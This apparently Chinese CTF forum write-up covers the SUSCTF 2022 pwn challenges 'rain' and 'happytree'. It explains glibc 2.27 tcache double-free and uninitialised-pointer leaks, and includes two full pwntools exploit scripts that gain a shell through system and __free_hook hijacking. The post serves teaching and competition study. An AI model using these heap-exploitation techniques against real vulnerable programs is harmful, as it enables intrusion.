首页
论坛
课程
招聘
[原创]【susctf2022】
2022-4-28 16:01 5251

[原创]【susctf2022】

2022-4-28 16:01
5251

题目链接

学到的知识

(1)glibc2.27-3无对tcache double free的检测即key指针

 

(2)未初始化指针利用:申请的chunk如果为初始化会保留bin中的fd,bk等指针,可以利用这些未初始化的值leak libc或者堆块地址。hgame里很多堆题都没有初始化指针,可以非预期泄露libc

 

(3)平衡二叉树:维护一颗二叉树,保证任何一个节点的左子树上的所有结点都比自己小,右子树上所有节点都比自己大

 

(4)c++:可以通过new和delet实现内存的分配,但内核还是malloc和free函数,而且用法和malloc以及free差别不大

1.rain

版本

glibc 2.27

 

img

 

-3版本不存在对tcache double free的检测

保护

img

 

发现没开pie,考虑可以利用elf的got表或plt表

反汇编

main

img

 

从menu里面可以看出主要有三个功能config、call rdx 、rain

初始化

img

config

修改v4,将v4[7]的位置放一个堆块并且对其进行修改

 

img

call rdx

img

 

img

 

img

 

call v4[5]: 初始是一个打印v4内容的函数,后面可以劫持它

rain

实现代码雨,和利用没啥大关系

利用思路

config里面有一个realloc函数,可以实现free和malloc两种功能

 

首先在v4[7]位置申请一个和v4大小相同的堆块,double free它,rain过后再次申请就会使得v4和v4[7]的堆块地址相同。那么我们就可以利用后续修改v4[7]来实现修改v4

 

首先修改v4[6]的位置为任意函数的got并且将v4[7]置为0,这样就会打印got表来leak libc

 

然后修改v4为sh,v4[5]为system函数,这样在menu时选择2就会调用后门

细节

为啥'/bin/sh\x00'不行要用‘sh’,因为这里的*v4其实是一个循环的次数:

 

img

 

如果太大会直接导致程序崩溃

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
r=process('./rain')
elf=ELF('./rain')
libc=ELF('./libc.so.6')
read=elf.got['read']
log.success('read:'+hex(read))
 
def z():
    gdb.attach(r)
 
def cho(name):
    r.sendafter("ch> ",str(name))
 
def config(con):
    cho(1)
    r.sendafter("FRAME> ",'\x00'*18+con)
 
def show():
    cho(2)
 
def rain():
    cho(3)
 
#tcache double free
config('a'*0x20)
config('a'*0x40)
config('')
config('')
 
#leak_libc
rain()
pd=p64(0)+p64(0x6161616161610102)+p64(0x620250)+p64(0x6204e0)+p64(0xc35000000064)+p64(0x400e17)+p64(read)+p64(0)
config(pd)
show()
r.recvuntil('Table:            ')
libcbase=u64(r.recvuntil('\x7f').ljust(8,'\x00'))-libc.sym['read']
log.success('libcbase:'+hex(libcbase))
system=libcbase+libc.sym['system']
config('')
config('sh\x00\x00'+'\x00'*4+p64(0x0201)+p64(0x620250)+p64(0x6204e0)+p64(0x0000c35000000030)+p64(system)+p64(read)+p64(0))
cho(2)
r.interactive()

2.happytree

版本

glibc 2.27

保护

img

ida

main

img

 

img

 

由menu可以发现实现了三种功能,insert,delet和show。整体上看,这是用一个平衡二叉树来存储堆块地址。

insert

img

 

发现树上的节点都是一个0x20(不包含size和pre_size位)大小的如下结构体:

1
2
3
4
5
6
struct tree{
     char size; //该节点的大小,也是*con指针指向的chunk的大小(同样不包含size,pre_size)
     long *con; //保存节点内容的chunk指针
     long *right //右子树指针
     long *left  //左子树指针
}

note存储的是根节点的地址

delet

img

 

img

 

这里的流程用到了递归

 

如果当前的size和要寻找的size一样,就进入大的条件判断

 

此时分三种情况:

 

(1)左右节点指针同时存在:找到比a2的size大的最小的size的节点删除

 

(2)左右节点存在一个:删除该节点并返回存在的节点指针

 

(3)左右节点都不存在:删除该节点返回0

 

”(1)“比较复杂,当时也想不出来有啥用,就和注释的一样。不太好可控,所以利用的时候构造的都是两条从根节点出发的单链,即左边一直放大,右边一直减小。

show

img

 

简单的打印con

利用思路

把tcache填满后放一个chunk进入unsorted bin

 

先后申请0x20(节点同大小的chunk)和0x40(这里是为了切割unsorted chunk)的大小,利用指针未初始化leak libcbase和heapbase

 

然后思考可否double free,我们发现delet的是节点和con指针指向的chunk,通过伪造来实现free(con)应该不现实,因为insert会分配伪造的堆块的*con。那我们就只能考虑free一个伪造的节点,到达这个节点必然是通过前面节点的子节点指针。

 

这样利用思路就很明确了,申请一个0x20大小的堆块,content中将子节点指针中的一个置为我们想要free的堆块的地址。free掉进入tcache,那么下下次(这个0x20的堆块是作为*con,先被free,所以在tcache里它前面还有一个后free的节点指针)创造新的节点就会使用到这个伪造的chunk,再通过平衡树的机制找到它free了就好。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
r=process('./happytree')
libc=ELF('./libc.so.6')
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter("cmd> ",str(num))
 
def add(size,con):
    cho(1)
    r.sendlineafter("data: ",str(size))
    r.sendafter("content: ",con)
 
def delet(size):
    cho(2)
    r.sendlineafter("data: ",str(size))
 
def show(size):
    cho(3)
    r.sendlineafter("data: ",str(size))
 
## fill_tcache
for i in range(0,8):
    add(0x80+i,'nameless')
for i in range(0,8):
    delet(0x80+7-i)
 
## leak_heap
add(0x20,'nameless')
show(0x20)
r.recvuntil("content: ")
r.recvuntil("nameless")
heap=u64(r.recv(6).ljust(8,'\x00'))-0x11ff0-0x30
log.success('heap:'+hex(heap))
delet(0x20)
 
## leak_libc
add(0x40,'nameless')
show(0x40)
r.recvuntil("content: ")
r.recvuntil("nameless")
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ca189-(libc.sym['__libc_start_main']+231)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
log.success('libcbase:'+hex(libcbase))
delet(0x40)
 
## tcache double free
target=heap+0x11e70
add(0x20,p64(0)+p64(0)+p64(target))
delet(0x20)
add(0x90,'/bin/sh\x00')
add(0x10,'nameless')
##z()
delet(0)
add(0x40,p64(free_hook))
add(0x41,'nameless')
add(0x42,p64(system))
 
delet(0x90)
 
r.interactive()

关于leaklibc后的节点图示

这部分可能有点抽象,自己画画图就好理解了

 

img


看雪2022 KCTF 秋季赛 防守篇规则,征题截止日期11月12日!(iPhone 14等你拿!)

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回